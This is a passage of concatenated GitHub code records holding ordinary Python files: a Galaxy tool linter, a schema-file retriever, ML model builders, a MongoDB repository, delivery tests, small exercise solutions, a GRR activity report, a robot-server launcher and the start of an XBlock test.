lint_context = LintContext(level=level, skip_types=skip_types, object_name=name)\n lint_tool_source_with(lint_context, tool_source, extra_modules)\n return not lint_context.failed(fail_level)\n\n\ndef get_lint_context_for_tool_source(tool_source, extra_modules=None, skip_types=None, name=None) -> LintContext:\n \"\"\"\n this is the silent variant of lint_tool_source\n it returns the LintContext from which all linter messages\n and the status can be obtained\n \"\"\"\n extra_modules = extra_modules or []\n skip_types = skip_types or []\n lint_context = LintContext(level=LintLevel.SILENT, skip_types=skip_types, object_name=name)\n lint_tool_source_with(lint_context, tool_source, extra_modules)\n return lint_context\n\n\ndef lint_xml(\n tool_xml,\n level=LintLevel.ALL,\n fail_level=LintLevel.WARN,\n lint_message_class=LintMessage,\n extra_modules=None,\n skip_types=None,\n name=None,\n) -> bool:\n \"\"\"\n lint an xml tool\n \"\"\"\n extra_modules = extra_modules or []\n skip_types = skip_types or []\n lint_context = LintContext(\n level=level, lint_message_class=lint_message_class, skip_types=skip_types, object_name=name\n )\n lint_xml_with(lint_context, tool_xml, extra_modules)\n\n return not lint_context.failed(fail_level)\n\n\ndef lint_tool_source_with(lint_context, tool_source, extra_modules=None) -> LintContext:\n extra_modules = extra_modules or []\n import galaxy.tool_util.linters\n\n tool_xml = getattr(tool_source, \"xml_tree\", None)\n tool_type = tool_source.parse_tool_type() or \"default\"\n linter_modules = submodules.import_submodules(galaxy.tool_util.linters)\n linter_modules.extend(extra_modules)\n for module in linter_modules:\n lint_tool_types = getattr(module, \"lint_tool_types\", [\"default\", \"manage_data\"])\n if not (\"*\" in lint_tool_types or tool_type in lint_tool_types):\n continue\n\n for name, value in inspect.getmembers(module):\n if callable(value) and name.startswith(\"lint_\"):\n # Look at the first argument to the linter to decide\n # if we should lint the XML description or the abstract\n # tool parser object.\n first_arg = inspect.getfullargspec(value).args[0]\n if first_arg == \"tool_xml\":\n if tool_xml is None:\n # XML linter and non-XML tool, skip for now\n continue\n else:\n lint_context.lint(name, value, tool_xml)\n else:\n lint_context.lint(name, value, tool_source)\n return lint_context\n\n\ndef lint_xml_with(lint_context, tool_xml, extra_modules=None) -> LintContext:\n extra_modules = extra_modules or []\n tool_source = get_tool_source(xml_tree=tool_xml)\n return lint_tool_source_with(lint_context, tool_source, extra_modules=extra_modules)\n","repo_name":"galaxyproject/galaxy","sub_path":"lib/galaxy/tool_util/lint.py","file_name":"lint.py","file_ext":"py","file_size_in_byte":12138,"program_lang":"python","lang":"en","doc_type":"code","stars":1194,"dataset":"github-code","pt":"62"} +{"seq_id":"12475089140","text":"\"Retrieve remote schema file.\"\n\n\nfrom pathlib import Path\nimport re\nfrom typing import Union\nfrom urllib.parse import urlparse\nfrom urllib.request import urlopen\n\nimport requests\nimport requests.exceptions\n\nfrom . import typing as typing_\nfrom .exceptions import InsecureConnectionError\n\n\ndef is_url(url_or_path: str) -> bool:\n \"\"\"Determine if ``url_or_path`` is a URL or path.\n\n We don't detect fully whether the input is a URL or a file path because I couldn't find a reliable way. Almost any\n string with no backslash can be a file name on a POSIX filesystem. URL detection often involves either giant\n dependencies such as Django, or tediously long regular expression that we can't assure that it would work. Here, we\n detect the beginning of the string. If it doesn't look like a URL, treat it as a file path.\n\n :param url_or_path: A string that is should be treated as either a URL or path.\n :return: ``True`` if ``url_or_path`` is a URL. ``False`` otherwise.\n \"\"\"\n\n return re.match(r'[a-zA-Z0-9]+:\\/\\/', url_or_path) is not None\n\n\n# Semantically, typing_.PathLike doesn't cover strings that represent URLs\ndef retrieve_schema_file(url_or_path: Union[typing_.PathLike, str], *,\n encoding: str = 'utf-8',\n tls_verification: Union[bool, typing_.PathLike] = True) -> str:\n \"\"\"Retrieve a single schema file.\n\n :param url_or_path: URL or path to the schema file.\n :param encoding: The encoding of the text in ``url_or_path``.\n :param tls_verification: Same as ``tls_verification`` in :class:`pardata.Schema`.\n :raises ValueError: See :class:`pardata.Schema`.\n :raises InsecureConnectionError: See :class:`pardata.Schema`.\n :return: A string of the content.\n \"\"\"\n\n url_or_path = str(url_or_path)\n\n if is_url(url_or_path):\n parse_result = urlparse(url_or_path)\n scheme = parse_result.scheme\n if scheme in ('http', 'https'):\n if scheme == 'http' and tls_verification:\n raise InsecureConnectionError((f'{url_or_path} is a http link and insecure. '\n 'Set tls_verification=False to accept http links.'))\n try:\n content = requests.get(url_or_path, allow_redirects=True, verify=tls_verification).content\n except requests.exceptions.SSLError as e:\n raise InsecureConnectionError((f'Failed to securely connect to {url_or_path}. Caused by:\\n{e}'))\n\n # We don't use requests.Response.encoding and requests.Response.text because it is always silent when\n # there's an encoding error\n return content.decode(encoding)\n elif scheme == 'file':\n with urlopen(url_or_path) as f: # nosec: bandit will always complain but we know it points to a local file\n return f.read().decode(encoding)\n else:\n raise ValueError(f'Unknown scheme in \"{url_or_path}\": \"{scheme}\"')\n else:\n # Not a URL, treated as a local file path\n return Path(url_or_path).read_text(encoding)\n","repo_name":"CODAIT/pardata","sub_path":"pardata/_schema_retrieval.py","file_name":"_schema_retrieval.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"62"} +{"seq_id":"9450213732","text":"from pretrainedmodels import se_resnext50_32x4d\nimport torchvision.models as models\nimport torch.nn as nn\n\n# Models\ndef se_resnext(num_classes, pretrained):\n\n model = se_resnext50_32x4d(num_classes=1000, pretrained=pretrained)\n\n num_ftrs = model.last_linear.in_features\n model.avg_pool = nn.AdaptiveAvgPool2d((1,1))\n model.last_linear = nn.Sequential(nn.Linear(num_ftrs, num_classes, bias=True))\n\n return model\n\ndef resnext50_32x4d(num_classes, pretrained):\n\n model = models.resnext50_32x4d(pretrained = pretrained)\n\n # Need to replace the fully-connected layer of the model such that it has 29 outputs\n num_ftrs = model.fc.in_features\n model.fc = nn.Linear(num_ftrs, num_classes)\n\n return model\n\ndef densenet121(num_classes, pretrained):\n\n model = models.densenet121(pretrained=True)\n\n num_ftrs = model.classifier.in_features\n model.classifier = nn.Linear(num_ftrs, num_classes)\n\n return model\n","repo_name":"Schulich-Applied-Computing-in-Medicine/image_contest","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24055407402","text":"import logging\nfrom uuid import uuid4\nfrom typing import List, Optional, Any\nfrom asyncio import Lock\nfrom motor.motor_asyncio import AsyncIOMotorClient\nfrom motor.core import AgnosticCursor\nfrom pymongo.results import InsertOneResult\n\nclass Repository:\n \"\"\"A generic repository class to interact with a MongoDB collection\n for a Pydantic model.\"\"\"\n\n def __init__(self, model: Any, connection: AsyncIOMotorClient):\n \"\"\"Initialize the repository.\n\n Args:\n model (Any): The Pydantic model representing the MongoDB collection.\n connection (AsyncIOMotorClient): The MongoDB database client.\n\n Example:\n connection = AsyncIOMotorClient(\"mongodb://localhost:27017\")\n repository = Repository(Endereco, connection=connection)\n \"\"\"\n self.model = model\n self.database = connection['chickie']\n self.collection = self.database[model.__tablename__]\n\n async def find_one(self, **kwargs) -> Optional[Any]:\n \"\"\"Find a single document in the MongoDB collection based on given criteria.\n\n Args:\n **kwargs: Keyword arguments representing the filtering criteria.\n\n Returns:\n Optional[Any]: The Pydantic model instance representing the document if found, None otherwise.\n \"\"\"\n uuid = kwargs.get('uuid')\n if uuid:\n kwargs['_id'] = uuid\n kwargs.pop('uuid', None)\n result: Optional[Any] = await self.collection.find_one(kwargs)\n if result:\n item_id = result.get('_id')\n if item_id:\n result['uuid'] = item_id\n\n return self.model(**result)\n\n return None\n\n async def find_all(self, **kwargs) -> List[Any]:\n \"\"\"Find all documents in the MongoDB collection based on given criteria.\n\n Args:\n **kwargs: Keyword arguments representing the filtering criteria.\n\n Returns:\n List[Any]: A list of Pydantic model instances representing the documents.\n \"\"\"\n\n cursor: AgnosticCursor = self.collection.find(kwargs)\n results = await cursor.to_list(None)\n response = []\n for item in results:\n item_id = item.get('_id')\n if item_id:\n item['uuid'] = item_id\n response.append(self.model(**item))\n\n return response\n\n async def find_all_containing(self, **kwargs) -> List[Any]:\n \"\"\"Find all documents in the MongoDB collection containing the given values.\n\n Args:\n **kwargs: Keyword arguments representing the values to be searched.\n\n Returns:\n List[Any]: A list of Pydantic model instances representing the documents.\n \"\"\"\n\n if not kwargs:\n raise KeyError(\"Method must have at least one key to search\")\n\n query = {key: {\"$regex\": value, \"$options\": \"i\"} for key, value in kwargs.items()}\n cursor: AgnosticCursor = await self.collection.find(query)\n results = cursor.to_list(None)\n response = [self.model(**item) for item in results]\n return response\n\n async def save(self, model: Any) -> str:\n \"\"\"Save a new document in the MongoDB collection.\n\n Args:\n model (Any): The Pydantic model instance representing the document to be saved.\n\n Returns:\n str: The UUID of the saved document.\n \"\"\"\n kwargs = model.model_dump() # Convert Pydantic model to a dictionary\n kwargs[\"_id\"] = str(uuid4())\n result: InsertOneResult = await self.collection.insert_one(kwargs)\n return result.inserted_id\n\n async def update(self, item: Any, data: dict = {}) -> int:\n \"\"\"Update an existing document in the MongoDB collection.\n\n Args:\n item (Any): The Pydantic model instance representing the document to be updated.\n data (dict, optional): The data to be updated. Defaults to an empty dictionary.\n\n Returns:\n int: The number of documents affected by the update operation.\n \"\"\"\n query = {\"_id\": item.uuid}\n update_query = {\"$set\": data}\n result = await self.collection.update_one(query, update_query)\n return result.modified_count\n\n async def delete(self, item: Any) -> int:\n \"\"\"Delete an existing document from the MongoDB collection.\n\n Args:\n item (Any): The Pydantic model instance representing the document to be deleted.\n\n Returns:\n int: The number of documents affected by the delete operation.\n \"\"\"\n query = {\"_id\": item._id}\n result = await self.collection.delete_one(query)\n return result.deleted_count\n\n async def delete_from_uuid(self, uuid) -> int:\n \"\"\"Delete an existing document from the MongoDB collection based on its UUID.\n\n Args:\n uuid: The UUID of the document to be deleted.\n\n Returns:\n int: The number of documents affected by the delete operation.\n \"\"\"\n query = {\"_id\": uuid}\n result = await self.collection.delete_one(query)\n return result.deleted_count\n","repo_name":"antoniofernandodj/Chickie","sub_path":"backend/src/infra/database/repository.py","file_name":"repository.py","file_ext":"py","file_size_in_byte":5133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7324078155","text":"import logging\n\nfrom functools import reduce\nfrom app.produce.geo import GoogleMapsGeo\nfrom app.produce.domain import Driver\nfrom app.produce.producer import DeliveryManager\nfrom app.produce.producer import DriverLocationProducer\nfrom tests.produce.common import _get_drivers_list\n\n\ndef test_delivery_manager_init(monkeypatch):\n monkeypatch.setattr('app.produce.producer.Deliveries.get_driver_deliveries', _get_drivers_list)\n manager = DeliveryManager()\n\n assert isinstance(manager.get_driver(driver_id='1'), Driver)\n assert isinstance(manager.get_driver(driver_id='2'), Driver)\n\n\ndef test_delivery_manager_get_driver(monkeypatch):\n monkeypatch.setattr('app.produce.producer.Deliveries.get_driver_deliveries', _get_drivers_list)\n manager = DeliveryManager()\n\n driver = manager.get_driver(driver_id='2')\n assert driver is not None\n assert len(driver.deliveries) == 2\n\n\ndef test_delivery_manager_complete_current_delivery_and_driver_location_set(monkeypatch):\n monkeypatch.setattr('app.produce.producer.Deliveries.get_driver_deliveries', _get_drivers_list)\n manager = DeliveryManager()\n\n delivery = manager.get_delivery(driver_id='2')\n assert delivery is not None\n assert delivery.is_complete() is False\n assert delivery.address.street == '667 Awesome St'\n\n driver = manager.get_driver(driver_id='2')\n assert driver.current_location.street == '321 MLK Blvd'\n\n manager.complete_driver_delivery(driver_id='2')\n assert delivery.is_complete()\n assert driver.current_location.street == '667 Awesome St'\n\n\ndef test_delivery_manager_get_multiple_deliveries_from_driver_with_complete(monkeypatch):\n monkeypatch.setattr('app.produce.producer.Deliveries.get_driver_deliveries', _get_drivers_list)\n manager = DeliveryManager()\n\n first_delivery = manager.get_delivery(driver_id='2')\n assert first_delivery is not None\n\n driver = manager.get_driver(driver_id='2')\n assert first_delivery == driver.current_delivery\n\n manager.complete_driver_delivery(driver_id='2')\n next_delivery = manager.get_delivery(driver_id='2')\n\n assert next_delivery != first_delivery\n assert driver.has_more_deliveries() is False\n\n\ndef test_delivery_manager_get_multiple_deliveries_from_driver_without_complete(monkeypatch):\n monkeypatch.setattr('app.produce.producer.Deliveries.get_driver_deliveries', _get_drivers_list)\n manager = DeliveryManager()\n\n delivery = manager.get_delivery(driver_id='2')\n assert delivery is not None\n\n driver = manager.get_driver(driver_id='2')\n assert delivery == driver.current_delivery\n\n next_delivery = manager.get_delivery(driver_id='2')\n assert next_delivery is None\n assert driver.has_more_deliveries() is True\n\n\ndef test_driver_location_producer_get_driver_locations(monkeypatch, caplog):\n monkeypatch.setattr('app.produce.producer.Deliveries.get_driver_deliveries', _get_drivers_list)\n monkeypatch.setattr('app.produce.producer.Deliveries.set_delivery_picked_up_at', lambda a, b: None)\n caplog.set_level(logging.INFO)\n\n geo = GoogleMapsGeo(no_api_key=True, data_dir='tests/files')\n producer = DriverLocationProducer(geo=geo)\n producer.start()\n producer.join()\n\n locations = {}\n for location in producer.get_driver_locations():\n driver_id = location.driver_id\n if driver_id not in locations:\n locations[driver_id] = 0\n locations[driver_id] += 1\n\n total_points = reduce(lambda tot, val: tot + val, locations.values(), 0)\n assert total_points == 28\n\n assert locations['1'] == 10\n assert locations['2'] == 18\n","repo_name":"bandwidth-brothers/ss-driver-location-streaming","sub_path":"tests/produce/producer_test.py","file_name":"producer_test.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73779658758","text":"import time\nfrom collections import OrderedDict\n\n\nclass LRUCacheDict(object):\n # def __init__(self, expiration=15*60, maxsize=128):\n def __init__(self, expiration, maxsize):\n self.expiration = expiration\n self.maxsize = maxsize\n self.__expire_times = OrderedDict()\n self.__access_times = OrderedDict()\n self.__values = {}\n\n def __setitem__(self, key, value):\n t = int(time.time())\n self.__delitem__(key)\n self.__values[key] = value\n self.__access_times[key] = t\n self.__expire_times[key] = t + self.expiration\n self.cleanup()\n\n # def __getitem__(self, key):\n # t = int(time.time())\n # del self.__access_times[key]\n # self.__access_times[key] = t\n # self.cleanup()\n # return self.__values[key]\n def getitem(self, key):\n t = int(time.time())\n del self.__access_times[key]\n self.__access_times[key] = t\n self.cleanup()\n return self.__values[key]\n\n def __delitem__(self, key):\n if key in self.__values:\n del self.__values[key]\n del self.__access_times[key]\n del self.__expire_times[key]\n\n def size(self):\n return len(self.__values)\n\n def clear(self):\n self.__values.clear()\n self.__access_times.clear()\n self.__expire_times.clear()\n\n def cleanup(self):\n t = int(time.time())\n for key, expire in self.__expire_times.items():\n if expire < t:\n self.__delitem__(key)\n\n while self.size() > self.maxsize:\n for key in self.__access_times:\n self.__delitem__(key)\n break\n\nif __name__ == \"__main__\":\n cache = LRUCacheDict(15 * 60,6)\n # cache = LRUCacheDict()\n for i in range(10):\n cache.__setitem__(i,str(i))\n\n print(cache.size())\n # print(cache.getitem(4))\n # print(cache.getitem(8))\n\n ","repo_name":"CoolTian/test","sub_path":"algorithms/LRUCacheDict.py","file_name":"LRUCacheDict.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5298392406","text":"import sys\nsys.path.append(\"./\")\nsys.path.append(\"../\")\nsys.path.append(\"./submodel/\")\nimport torch\nimport wandb\nimport os\nfrom lib.options import BaseOptions\nfrom lib.model_loader import CreateModel\n\n\n\ndef train(gpu, args): \n torch.cuda.set_device(gpu)\n model, args, step = CreateModel(gpu, args)\n\n # Initialize wandb to gather and display loss on dashboard \n if args.isMaster and args.use_wandb:\n wandb.init(project=args.model_id, name=args.run_id)\n\n # Training loop\n global_step = step if step else 0\n while global_step < args.max_step:\n result = model.train_step()\n\n if args.isMaster:\n # Save and print loss\n if global_step % args.loss_cycle == 0:\n if args.use_wandb:\n wandb.log(model.loss_collector.loss_dict)\n model.loss_collector.print_loss(global_step)\n\n # Save image\n if global_step % args.test_cycle == 0:\n model.save_image(result, global_step)\n\n if args.valid_dataset_root:\n model.validation(global_step) \n\n # Save checkpoint parameters \n if global_step % args.ckpt_cycle == 0:\n model.save_checkpoint(global_step)\n\n global_step += 1\n\n\nif __name__ == \"__main__\":\n args = BaseOptions().parse()\n os.makedirs(args.save_root, exist_ok=True)\n\n # Set up multi-GPU training\n if args.use_mGPU: \n torch.multiprocessing.spawn(train, nprocs=args.gpu_num, args=(args, ))\n\n # Set up single GPU training\n else:\n train(args.gpu_id, args)\n","repo_name":"LJLLDQ/INVZ-hififace","sub_path":"scripts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2228236304","text":"#!/usr/bin/env python3\n\ntree = '#'\nover = 3\n\ntrees = []\nwith open('input.txt', 'r') as file:\n for line in file:\n line = line.rstrip()\n trees.append(line)\n\ncols = len(trees[0])\n\nfound = 0\nfor i in range(len(trees)):\n# print(f'i = {i}, row = {i}, col = {i * over}')\n# print(f'char = {trees[i][(i * over) % cols]}')\n found += trees[i][(i * over) % cols] == tree\n\nprint(f'found = {found}')\n","repo_name":"rvandam/adventofcode","sub_path":"2020/day/3/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42368792828","text":"#Author: Stephen Crook\r\n#Date: 10/29/2014\r\n#Purpose: ArcGIS script to display field values.\r\n##################################################################################\r\n\r\nimport arcpy\r\n\r\nfc = arcpy.GetParameterAsText(0)\r\n\r\nfieldName = arcpy.GetParameterAsText(1)\r\n\r\n#establishes search cursor\r\n\r\nrows = arcpy.SearchCursor(fc, \"\", \"\", fieldName)\r\n\r\n#uses search cursor to cycle through values, printing them out.\r\n\r\nnumFeat = 0\r\narcpy.AddMessage(\"\\n\\nValues for \" + fieldName + \":\")\r\nwith arcpy.da.SearchCursor(fc, fieldName) as cursor:\r\n for row in cursor:\r\n arcpy.AddMessage(\"{0}\".format(str(row[0])))\r\n numFeat += 1\r\n\r\n#gives total number of features based on the counter, above\r\n \r\narcpy.AddMessage(\"\\nThe number of features is: \" + str(numFeat) + \"\\n\")","repo_name":"Sescrook/Geog683code","sub_path":"Lab8/tools/DisplayFieldValues.py","file_name":"DisplayFieldValues.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11332987679","text":"import numpy as np\n\nclass Solution(object):\n def minDeletionSize(self, strs):\n # convert from list of strs to 2d array of chars\n charar = np.array([list(s) for s in strs])\n # sort 2d array column wise\n sort = np.sort(charar, axis=0)\n # compares the columns between the 2 arrays\n diff = np.any(charar != sort, axis=0)\n # counts num of different columns\n return np.count_nonzero(diff)\n\nS = Solution()\nstrs = [\"cba\",\"daf\",\"ghi\"]\nprint(S.minDeletionSize(strs))","repo_name":"deweythedeci/leetcode","sub_path":"944/944.py","file_name":"944.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35348820785","text":"N, M = 5, 3\r\ndata = [1,3,2,3,2]\r\n\r\narr = [0]*11\r\nfor i in data:\r\n arr[i]+=1\r\n\r\ntotal = 0\r\nfor i in range(1, M):\r\n temp = 0\r\n if arr[i] == 0:\r\n continue\r\n for j in range(i+1, len(arr)):\r\n temp += arr[i]*arr[j]\r\n total += temp\r\n\r\nprint(total)","repo_name":"wonyoung2257/coding_test","sub_path":"book-ex/greedy-05.py","file_name":"greedy-05.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7951318825","text":"import requests\nfrom datetime import datetime\nfrom . import utilities\n\n\ndef lookup_orcid(orcid, return_errors=False):\n '''\n This function handles the process of fetching a given ORCID using content negotiation to return the \n JSON-LD structure from ORCID data. It checks for a number of error conditions and will either pass\n on those cases or return the errors for further consideration in a processing pipeline.\n '''\n identifiers = utilities.actionable_id(orcid)\n if identifiers is None:\n if return_errors:\n return {\"orcid\": orcid, \"error\": \"Not a valid ORCID identifier\"}\n else:\n return\n \n try:\n r = requests.get(identifiers[\"url\"], headers={\"accept\": \"application/ld+json\"})\n if r.status_code != 200:\n if return_errors:\n return {\"orcid\": orcid, \"error\": f\"HTTP Status Code: {str(r.status_code)}\"}\n else:\n return\n else:\n raw_doc = r.json()\n except Exception as e:\n if return_errors:\n return {\"orcid\": orcid, \"error\": e}\n else:\n return\n\n if \"givenName\" not in raw_doc or \"familyName\" not in raw_doc:\n if return_errors:\n return {\"orcid\": orcid, \"error\": \"Either givenName or familyName are missing from the ORCID record, and therefore it is unusable at this time.\"}\n else:\n return\n\n raw_doc[\"_date_cached\"] = str(datetime.utcnow().isoformat())\n raw_doc[\"orcid\"] = raw_doc[\"@id\"].split(\"/\")[-1]\n\n return raw_doc\n","repo_name":"skybristol/pylinkedcmd","sub_path":"pylinkedcmd/orcid.py","file_name":"orcid.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"28134727840","text":"#!/usr/bin/env python\n\"\"\"UI server report handling classes.\"\"\"\n\nfrom grr.gui.api_plugins.report_plugins import report_plugins\nfrom grr.gui.api_plugins.report_plugins import report_utils\n\nfrom grr.lib import rdfvalue\n\n\nclass ClientsActivityReportPlugin(report_plugins.ReportPluginBase):\n \"\"\"Reports client activity by week.\"\"\"\n\n TYPE = report_plugins.ApiReportDescriptor.ReportType.SERVER\n TITLE = \"Client Activity\"\n SUMMARY = (\"Number of flows issued against each client over the \"\n \"last few weeks.\")\n\n WEEKS = 10\n\n def GetReportData(self, get_report_args, token):\n \"\"\"Filter the last week of flows.\"\"\"\n ret = report_plugins.ApiReportData(\n representation_type=report_plugins.ApiReportData.RepresentationType.\n STACK_CHART)\n\n try:\n now = rdfvalue.RDFDatetime().Now()\n week_duration = rdfvalue.Duration(\"7d\")\n offset = week_duration * ClientsActivityReportPlugin.WEEKS\n client_activity = {}\n\n try:\n logs_gen = report_utils.GetAuditLogFiles(offset, now, token)\n except ValueError: # Couldn't find any logs..\n logs_gen = iter(())\n\n for fd in logs_gen:\n for week in range(ClientsActivityReportPlugin.WEEKS):\n start = now - week * week_duration\n for event in fd.GenerateItems():\n if start <= event.timestamp < (start + week_duration):\n weekly_activity = client_activity.setdefault(\n event.client,\n [[x, 0]\n for x in range(-ClientsActivityReportPlugin.WEEKS, 0, 1)])\n weekly_activity[-week][1] += 1\n\n ret.stack_chart.data = sorted(\n (report_plugins.ApiReportDataSeries2D(\n label=str(client),\n points=[\n report_plugins.ApiReportDataPoint2D(\n x=x, y=y) for x, y in client_data\n ]) for client, client_data in client_activity.iteritems()\n if client),\n key=lambda series: series.label)\n\n except IOError:\n pass\n\n return ret\n","repo_name":"digideskio/grr","sub_path":"grr/gui/api_plugins/report_plugins/server_report_plugins.py","file_name":"server_report_plugins.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"17580811265","text":"budget = float(input())\ndestination = input()\nseason = input()\ndays = int(input())\n\nmovie_destination = {\n \"Dubai\": {\"Winter\": 45_000, \"Summer\": 40_000},\n \"Sofia\": {\"Winter\": 17_000, \"Summer\": 12_500},\n \"London\": {\"Winter\": 24_000, \"Summer\": 20_250},\n}\n\nprice = movie_destination[destination][season] * days\n\nif destination == \"Dubai\":\n price *= 0.7\nelif destination == \"Sofia\":\n price *= 1.25\n\ndiff = abs(budget - price)\n\nif budget >= price:\n print(f\"The budget for the movie is enough! We have {diff:.2f} leva left!\")\nelse:\n print(f\"The director needs {diff:.2f} leva more!\")\n","repo_name":"alexlikova/Python-Basics-SoftUni","sub_path":"8. Python Basics EXAMS/3. Programming Basics Online Exam - 15 and 16 June 2019/03. Movie Destination.py","file_name":"03. Movie Destination.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20623680254","text":"import pygame as pg\n\nimport IO\n\n\ndef draw(x, y, w, h, display):\n events_data = IO.read(\"data/events\")\n events = events_data.splitlines()\n for i in range(len(events)):\n event = events[i]\n if not event.__contains__(\":\"):\n break\n parts = event.split(\":\")\n days = parts[0]\n title = parts[1]\n if i < 7:\n if days == \"0\":\n days = \"Today\"\n elif days == \"1\":\n days = \"Tomorrow\"\n else:\n days = days + \" days\"\n col = 255 - i * i * 5\n __draw_text(display, 30, (col, col, col), x, y + 30 * i, title)\n __draw_text(display, 30, (col, col, col), x + 400 - sizeString(days, 25), y + 30 * i, days)\n\n\ndef sizeString(text, size):\n font = pg.font.SysFont('times new roman', size)\n text_image = font.render(str(text), False, (1, 1, 1))\n return text_image.get_width()\n\n\ndef __draw_text(display, size, color, x, y, text):\n font = pg.font.SysFont('times new roman', size)\n display.blit(font.render(text, 1, color), (x, y))","repo_name":"joeb15/PythonMirror","sub_path":"Calendar.py","file_name":"Calendar.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42831919273","text":"# -*- coding: utf-8 -*-\n# @Time : 2022/1/24 13:13\n# @Author : su.xinhai\n# @Email : su.xinhai@mech-mind.net\nimport logging\nimport sys\nfrom time import sleep\nimport threading\nfrom snap7 import util as siemens_util, client as siemens_client\nimport subprocess\nimport os\nfrom os import path, listdir, remove\n\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\", \"..\")))\nfrom util import json_keys as jk\nfrom util.util_file import read_json_file\nfrom util.setting_file import mmind_path, adapter_dir, setting_file, sys_settings\nfrom ui.settings import get_auto_load_projects, update_robot_setting_from_viz, robot_type_in_viz_project, \\\n get_robot_dof_and_dh, BackgroundProgramSetting, RobotServerSetting\n\nROBOT_SERVER_MAIN_FILE = path.abspath(\n path.join(path.dirname(__file__), \"..\", \"..\", \"Mech_RobServ\", \"src\", \"main.py\")).replace(\"\\\\\", \"/\")\nROBOT_SERVER_MAIN_FILE_INTERNAL = path.abspath(\n path.join(path.dirname(__file__), \"..\", \"..\", \"..\", \"Mech_RobServ\", \"src\", \"main.py\")).replace(\"\\\\\", \"/\")\nROBOT_PARAMS_FILE = \"/resource/robot/robot_params.json\"\nROBOT_CLIENTS_FILE = \"robot_clients.json\"\n\nLOCAL_HUB_ADDRESS = \"127.0.0.1:5307\"\n\n\nclass ConRobot(object):\n\n def __init__(self, adapter):\n try:\n self.sub_process_list = {}\n self.adapter = adapter\n self.load_settings()\n self.start = False\n self.stop = False\n self.robot_name = \"\"\n self.robot_server_setting = None\n self.robot_server_process = None\n self.background_setting = None\n sleep(8)\n threading.Thread(target=self.start_read).start()\n except Exception as e:\n logging.error(e)\n\n def load_settings(self):\n self.load_robot_server_settings()\n\n def load_robot_server_settings(self):\n settings = read_json_file(setting_file)\n self.robot_server_setting = RobotServerSetting(settings.get(jk.robot_server, {}))\n self.background_setting = BackgroundProgramSetting(settings.get(jk.background_program, {}))\n update_robot_setting_from_viz(self.background_setting, self.robot_server_setting)\n robot_type = self.robot_server_setting.type\n self.robot_name = robot_type\n\n def start_robserver(self):\n robot_server_setting = self.robot_server_setting\n robot_type = robot_server_setting.type\n self.robot_name = robot_type\n start_cmd = [\"python\", robot_server_setting.robserver_file, LOCAL_HUB_ADDRESS, robot_server_setting.ip,\n robot_type,\n robot_type, str(robot_server_setting.dof), str(robot_server_setting.dh_d1)]\n self.robot_server_process = subprocess.Popen(start_cmd)\n logging.info(\"Start robot server:{}\".format(start_cmd))\n\n def stop_robserver(self):\n if not self.robot_server_process:\n return\n self.robot_server_process.terminate()\n logging.info(\"stop robot server\")\n\n \"\"\"\n 重写\n \"\"\"\n\n def connect_robot(self):\n self.start_robserver()\n\n def get_start(self):\n return False\n\n def get_stop(self):\n return False\n\n def get_connect(self):\n return True\n\n def start_read(self):\n while not self.adapter.is_stop_adapter:\n print(\"机器人准备好:{},开始:{},停止 :{}\".format(self.get_connect(), self.get_start(), self.get_stop()))\n if self.get_connect():\n if not self.adapter.find_services(self.robot_name):\n self.connect_robot()\n sleep(2)\n self.stop_robserver()\n","repo_name":"suxinhai/StudyPy","sub_path":"mechmind/connect_robot.py","file_name":"connect_robot.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74300317957","text":"\"\"\"\nHTML XBlock tests\n\"\"\"\nfrom __future__ import print_function\n\nimport unittest\n\nfrom mock import Mock\nfrom xblock.field_data import DictFieldData\nfrom xblock.test.tools import TestRuntime\n\nimport html_xblock\n\n\nclass TestHTMLXBlock(unittest.TestCase):\n \"\"\"\n Unit tests for `html_xblock`\n \"\"\"\n def setUp(self):\n self.runtime = TestRuntime()\n\n def test_render(self):\n \"\"\"\n Test a basic rendering with default settings.\n \"\"\"\n field_data = DictFieldData({'data': 'Safe html'})\n block = html_xblock.HTML5XBlock(self.runtime, field_data, None)\n self.assertEqual(block.allow_javascript, False)\n fragment = block.student_view()\n self.assertIn('
    Safe html
